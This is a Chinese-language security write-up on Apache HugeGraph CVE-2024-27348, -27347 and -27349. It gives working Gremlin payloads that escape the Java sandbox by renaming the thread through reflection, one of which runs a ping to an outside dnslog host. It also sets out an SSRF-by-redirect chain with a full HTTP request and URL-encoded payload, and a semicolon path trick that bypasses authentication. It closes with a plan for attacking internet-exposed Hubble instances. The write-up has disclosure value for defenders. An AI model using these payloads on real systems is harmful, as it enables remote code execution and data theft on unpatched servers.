命令执行
CVE-2024-27348
漏洞描述
HugeGraph是一个速度快、高度可扩展的图数据库。由于其出色的 OLTP 能力,HugeGraph 可以轻松存储和查询数十亿个点和边。由于遵循Apache TinkerPop 3框架,可以通过Gremlin(一种强大的图遍历语言)实现各种复杂的图查询。Apache HugeGraph-Server 中存在 RCE-远程命令执行漏洞
影响范围
Apache HugeGraph-Server: from 1.0.0 before 1.3.0.
环境搭建
wget https://downloads.apache.org/incubator/hugegraph/{version}/apache-hugegraph-incubating-{version}.tar.gz
tar zxf *hugegraph*.tar.gz
然后修改hugegraph.properties文件内容

启动服务
bin/start-hugegraph.sh
漏洞分析
测试发现调用以下接口来通过Gremlin实现各种复杂的图查询时存在ScriptEngine命令执行
curl -H "Content-Type: application/json" POST http://localhost:8080/gremlin -X POST -d @poc
poc文件内容
{
"gremlin": "scriptEnginePaylod",
"bindings": {},
"language": "gremlin-groovy",
"aliases": {}
}
因为最终会通过org.apache.tinkerpop.gremlin.groovy.jsr223.GremlinGroovyScriptEngine#eval执行groovy代码
但是测试发现存在沙箱限制,发现启动时设置了securityManager(JAVA安全沙箱机制)

项目编写了HugeSecurityManager类来继承了SecurityManager类,在HugeSecurityManager中对通过gremlin执行的各个危险操作进行了限制。
例如: org.apache.hugegraph.security.HugeSecurityManager#checkExec

如何拦截?
可以调试命令执行,最终会走到java.lang.ProcessBuilder#start

这里判断了是否设置了安全沙箱,如果是就会调用安全沙箱的check方法。其他操作也是这样的方式拦截
如何绕过沙箱?
参考mi1k7ea师傅的文章:Site Unreachable
测试过程中发现在默认启动情况下,hugegraph没有对反射进行过滤
{
"gremlin": "Class clz = Class.forName(\"java.lang.ProcessImpl\");java.lang.reflect.Method method=clz.getDeclaredMethod(\"start\",String[].class,Map.class,String.class,ProcessBuilder.Redirect[].class, boolean.class);String[] cmd = new String[2];cmd[0]=\"touch\";cmd[1]=\"/tmp/20231219\";method.setAccessible(true);method.invoke(clz,cmd,null,null,null,false);",
"bindings": {},
"language": "gremlin-groovy",
"aliases": {}
}
那么只需要执行命令在checkexec之后即可,但是这样依旧会有一个问题,在执行一些命令的时候可能会调用到其他的拦截方法,导致执行失败,需要找到一个更好的绕过方法。
已知现在所有checkexec的调用都会调用callFromGremlin

来看callFromGremlin

org.apache.hugegraph.security.HugeSecurityManager#callFromWorkerWithClass

GREMLIN_EXECUTOR_CLASS为ScriptEngine调用必经堆栈

GREMLIN_SERVER_WORKER和TASK_WORKER是通过Gremlin会设置的新线程名

显然他会判断是否是由Gremlin图查询调用的ScriptEngine执行,如果是就会进行checkXXX函数来检查,而我们现在可以反射修改任意类,那么第一时间想到的就是直接反射修改线程名,如下
{
"gremlin": "Thread thread = Thread.currentThread();Class clz = Class.forName(\"java.lang.Thread\");java.lang.reflect.Field field = clz.getDeclaredField(\"name\");field.setAccessible(true);field.set(thread,\"evil\");Runtime.getRuntime().exec(\"ping test.t28yhq.dnslog.cn\");",
"bindings": {},
"language": "gremlin-groovy",
"aliases": {}
}
此时,callFromGremlin将会获取到不符合要求的线程名返回false,也就绕过了所有check,可以通过ScriptEngine执行任意代码
扩大危害
因为apache hugegraph为内部服务,默认只支持内部访问,一般不会暴露在公网上。

想要扩大危害,只能找到他的前置服务。
CVE-2024-27347
影响范围
Apache HugeGraph-Hubble: from 1.0.0 before 1.3.0.
hubble是incubator-hugegraph-toolchain工具集成项目中的一个子模块,负责在线HugeGraph管理和分析仪表板(包括:数据加载、模式管理、图形遍历和显示)。
等于说是HugeGraph的管理平台,且默认不需要账号密码登录,满足我们的要求。
此时出现两种情况
当目标存在图时:

直接访问图就可以执行绕过沙箱的gremlin的payload来进行代码执行

但是当目标不存在图时:
此时就算我们可以爆破port寻找hugegraph服务,但之后还会判断请求中graph图,是否在内部hugegraph中存在。

这个时候没有办法爆破graph(范围太大)
对请求确立hugeGraph连接进行分析,确定了会发送一个/versions的GET请求
请求发送点:org.apache.hugegraph.api.version.VersionAPI#get
public Versions get() {
RestResult result = this.client.get(this.path());
return (Versions)result.readObject(Versions.class);
}

这里JerseyWebTarget的发送请求时,默认会跟随状态码30X跳转,可利用该特性将这个SSRF变成一个GET类型的路由和参数均可控的SSRF。
参考:记一次从鸡肋SSRF到RCE的代码审计过程-安全客 - 安全资讯平台
同时可以再hugeGraph服务上找到调用gremlin的GET请求接口

那么使用mockoon工具在恶意服务器3000端口上搭建一个服务,接收/versions请求,响应301,存在location请求头内容为将要跳转的路由及恶意payload

http://xx.xx.xx.xx:xx/gremlin?gremlin=Thread%20thread%20%3D%20Thread.currentThread()%3BClass%20clz%20%3D%20Class.forName(%22java.lang.Thread%22)%3Bjava.lang.reflect.Field%20field%20%3D%20clz.getDeclaredField(%22name%22)%3Bfield.setAccessible(true)%3Bfield.set(thread%2C%22evil%22)%3BSystem.getProperties()%3B
这时候发送/api/v1.2/graph-connections请求,将host post改为mockoon恶意服务
POST /api/v1.2/graph-connections HTTP/1.1
Host: 172.27.64.135:8088
Content-Length: 91
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://172.27.64.135:8088
Referer: http://172.27.64.135:8088/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"name":"bb","graph":"aa","host":"172.27.64.1","port":"3000","username":"44","password":"44"}
可以看到响应结果中无法反序列化,但是异常中直接返回了System.getProperties()的信息(成功利用gremlin执行了任意代码)

这样,在无法确认graph 信息时也能通过这个ssrf直接操作HugeGraphServer的接口,以及其他内部web服务。
扩大危害2
CVE-2024-27349
在申请CVE的交流过程中,项目PPMC询问我开启auth后是否安全,秉着测试测到底的原则,就看了一下。
https://hugegraph.apache.org/docs/config/config-authentication/ (Enable Auth system)
开启鉴权
在 gremlin-server.yaml 配置文件中配置 authenticator 及其 rest-server 文件路径:
authentication: {
authenticator: org.apache.hugegraph.auth.StandardAuthenticator,
authenticationHandler: org.apache.hugegraph.auth.WsAndHttpBasicAuthHandler,
config: {tokens: conf/rest-server.properties}
}
更改conf/rest-server.properties文件
auth.authenticator=org.apache.hugegraph.auth.StandardAuthenticator
auth.graph_store=hugegraph
在conf/graphs/ hugegraph{n}.properties 配置文件中,配置 gremlin.graph 信息:
gremlin.graph=org.apache.hugegraph.auth.HugeFactoryAuthProxy
鉴权绕过
在开启配置authenticator 后,访问api会经过
org.apache.hugegraph.api.filter.AuthenticationFilter#filter,其中会调用isWhiteAPI去判断是否需要进行filter
public static boolean isWhiteAPI(ContainerRequestContext context) {
String path = context.getUriInfo().getPath();
for (String whiteApi : WHITE_API_LIST) {
if (path.endsWith(whiteApi)) {
return true;
}
}
return false;
}
存在WHITE_API_LIST
private static final List<String> WHITE_API_LIST = ImmutableList.of(
"auth/login",
"versions"
);
javax.ws.rs.core.UriInfo提供了有关当前请求URI的各种信息,可以通过ContainerRequestContext的getUriInfo方法进行获取。
获取到UriInfo后,可以调用其方法来获取请求Path信息,这里使用了getPath获取路径信息,而getPath这里没有进行规范化处理的,导致了可以利用;来进行bypass
例如:

可以绕过鉴权获取到用户信息
调试图:

可以成功进入到true,bypass filter的同时匹配api controller
可惜的是,并不能绕过鉴权直接调用gremlin
- 因为构造请求gremlin后,hugeGraph还会构造新的请求发送到gremlin server,这时候还会有一层AUTHORIZATION鉴权

想要具体分析可以看
- lib中gremlin-server-x.x.x.jar包中相关鉴权代码
其他API都是可以正常绕过鉴权的,是否可以通过其他api来获取用户信息再进行gremlin代码执行,这里没有进一步研究
总结
这样就可以找到联网暴露的HugeGraph-Hubble服务
已经存在图管理
- gremlin绕过沙箱执行任意代码
不存在图管理
- 利用SSRF来绕过连接,直接操作hugeGraph
- 开启鉴权:利用;绕过鉴权获取服务器信息
- 未开启鉴权(默认):直接利用gremlin绕过沙箱执行任意代码
转载
分享
没有评论